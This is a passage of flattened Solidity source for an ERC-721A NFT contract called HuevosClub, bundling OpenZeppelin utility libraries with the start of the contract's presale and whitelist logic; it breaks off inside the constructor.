`nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File @openzeppelin/contracts/access/Ownable.sol@v4.4.2 // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File @openzeppelin/contracts/utils/Strings.sol@v4.4.2 // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File @openzeppelin/contracts/utils/introspection/IERC165.sol@v4.4.2 // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File @openzeppelin/contracts/token/ERC721/IERC721.sol@v4.4.2 // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol@v4.4.2 // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol@v4.4.2 // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol@v4.4.2 // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Enumerable.sol) /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File @openzeppelin/contracts/utils/Address.sol@v4.4.2 // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File @openzeppelin/contracts/utils/introspection/ERC165.sol@v4.4.2 // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File contracts/ERC721A.sol // Creator: Chiru Labs /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata and Enumerable extension. Built to optimize for lower gas during batch mints. * * Assumes serials are sequentially minted starting at 0 (e.g. 0, 1, 2, 3..). * * Does not support burning tokens to address(0). * * Assumes that an owner cannot have more than the 2**128 (max value of uint128) of supply */ contract ERC721A is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using Address for address; using Strings for uint256; struct TokenOwnership { address addr; uint64 startTimestamp; } struct AddressData { uint128 balance; uint128 numberMinted; } uint256 internal currentIndex = 0; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to ownership details // An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details. mapping(uint256 => TokenOwnership) internal _ownerships; // Mapping owner address to address data mapping(address => AddressData) private _addressData; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view override returns (uint256) { return currentIndex; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view override returns (uint256) { require(index < totalSupply(), 'ERC721A: global index out of bounds'); return index; } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. * This read function is O(totalSupply). If calling from a separate contract, be sure to test gas first. * It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) { require(index < balanceOf(owner), 'ERC721A: owner index out of bounds'); uint256 numMintedSoFar = totalSupply(); uint256 tokenIdsIdx = 0; address currOwnershipAddr = address(0); for (uint256 i = 0; i < numMintedSoFar; i++) { TokenOwnership memory ownership = _ownerships[i]; if (ownership.addr != address(0)) { currOwnershipAddr = ownership.addr; } if (currOwnershipAddr == owner) { if (tokenIdsIdx == index) { return i; } tokenIdsIdx++; } } revert('ERC721A: unable to get token of owner by index'); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view override returns (uint256) { require(owner != address(0), 'ERC721A: balance query for the zero address'); return uint256(_addressData[owner].balance); } function _numberMinted(address owner) internal view returns (uint256) { require(owner != address(0), 'ERC721A: number minted query for the zero address'); return uint256(_addressData[owner].numberMinted); } function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) { require(_exists(tokenId), 'ERC721A: owner query for nonexistent token'); for (uint256 curr = tokenId; ; curr--) { TokenOwnership memory ownership = _ownerships[curr]; if (ownership.addr != address(0)) { return ownership; } } revert('ERC721A: unable to determine the owner of token'); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view override returns (address) { return ownershipOf(tokenId).addr; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), 'ERC721Metadata: URI query for nonexistent token'); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ''; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ''; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public override { address owner = ERC721A.ownerOf(tokenId); require(to != owner, 'ERC721A: approval to current owner'); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), 'ERC721A: approve caller is not owner nor approved for all' ); _approve(to, tokenId, owner); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view override returns (address) { require(_exists(tokenId), 'ERC721A: approved query for nonexistent token'); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public override { require(operator != _msgSender(), 'ERC721A: approve to caller'); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public override { _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public override { safeTransferFrom(from, to, tokenId, ''); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public override { _transfer(from, to, tokenId); require( _checkOnERC721Received(from, to, tokenId, _data), 'ERC721A: transfer to non ERC721Receiver implementer' ); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), */ function _exists(uint256 tokenId) internal view returns (bool) { return tokenId < currentIndex; } function _safeMint(address to, uint256 quantity) internal { _safeMint(to, quantity, ''); } /** * @dev Mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `quantity` cannot be larger than the max batch size. * * Emits a {Transfer} event. */ function _safeMint( address to, uint256 quantity, bytes memory _data ) internal { uint256 startTokenId = currentIndex; require(to != address(0), 'ERC721A: mint to the zero address'); // We know if the first token in the batch doesn't exist, the other ones don't as well, because of serial ordering. require(!_exists(startTokenId), 'ERC721A: token already minted'); require(quantity > 0, 'ERC721A: quantity must be greater 0'); _beforeTokenTransfers(address(0), to, startTokenId, quantity); AddressData memory addressData = _addressData[to]; _addressData[to] = AddressData( addressData.balance + uint128(quantity), addressData.numberMinted + uint128(quantity) ); _ownerships[startTokenId] = TokenOwnership(to, uint64(block.timestamp)); uint256 updatedIndex = startTokenId; for (uint256 i = 0; i < quantity; i++) { emit Transfer(address(0), to, updatedIndex); require( _checkOnERC721Received(address(0), to, updatedIndex, _data), 'ERC721A: transfer to non ERC721Receiver implementer' ); updatedIndex++; } currentIndex = updatedIndex; _afterTokenTransfers(address(0), to, startTokenId, quantity); } /** * @dev Transfers `tokenId` from `from` to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) private { TokenOwnership memory prevOwnership = ownershipOf(tokenId); bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr || getApproved(tokenId) == _msgSender() || isApprovedForAll(prevOwnership.addr, _msgSender())); require(isApprovedOrOwner, 'ERC721A: transfer caller is not owner nor approved'); require(prevOwnership.addr == from, 'ERC721A: transfer from incorrect owner'); require(to != address(0), 'ERC721A: transfer to the zero address'); _beforeTokenTransfers(from, to, tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, prevOwnership.addr); // Underflow of the sender's balance is impossible because we check for // ownership above and the recipient's balance can't realistically overflow. unchecked { _addressData[from].balance -= 1; _addressData[to].balance += 1; } _ownerships[tokenId] = TokenOwnership(to, uint64(block.timestamp)); // If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; if (_ownerships[nextTokenId].addr == address(0)) { if (_exists(nextTokenId)) { _ownerships[nextTokenId] = TokenOwnership(prevOwnership.addr, prevOwnership.startTimestamp); } } emit Transfer(from, to, tokenId); _afterTokenTransfers(from, to, tokenId, 1); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve( address to, uint256 tokenId, address owner ) private { _tokenApprovals[tokenId] = to; emit Approval(owner, to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert('ERC721A: transfer to non ERC721Receiver implementer'); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. */ function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} /** * @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes * minting. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. */ function _afterTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} } // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } contract OwnableDelegateProxy { } contract ProxyRegistry { mapping(address => OwnableDelegateProxy) public proxies; } //Huevos Club Genesis Contract contract HuevosClub is ERC721A, Ownable, ReentrancyGuard { address public constant proxyRegistryAddress = 0xa5409ec958C83C3f309868babACA7c86DCB077c1; struct PresaleData { uint256 price; bytes32 merkleroot; } using SafeMath for uint256; using MerkleProof for bytes32[]; uint256 public saleState; uint256 public maxSupply; uint256 public maxMintPerTransaction; uint256 public price; uint256 public teamSupply; string public baseURI; string public baseExtension; PresaleData public presaleData; modifier whenPublicSaleStarted() { require(saleState==2,"Public Sale not active"); _; } modifier whenSaleStarted() { require(saleState > 0,"Sale not active"); _; } modifier whenSaleStopped() { require(saleState == 0,"Sale already started"); _; } modifier whenWhiteListSaleActive() { require(saleState == 1, "White list Sale not active"); _; } modifier whenMerklerootSet() { require(presaleData.merkleroot!=0,"Merkleroot not set for presale"); _; } modifier whenAddressOnWhitelist(bytes32[] memory _merkleproof) { require(MerkleProof.verify( _merkleproof, presaleData.merkleroot, keccak256(abi.encodePacked(msg.sender)) ), "Not on white list" ); _; } constructor() ERC721A("HuevosClub", "HUEVOS") { baseURI = 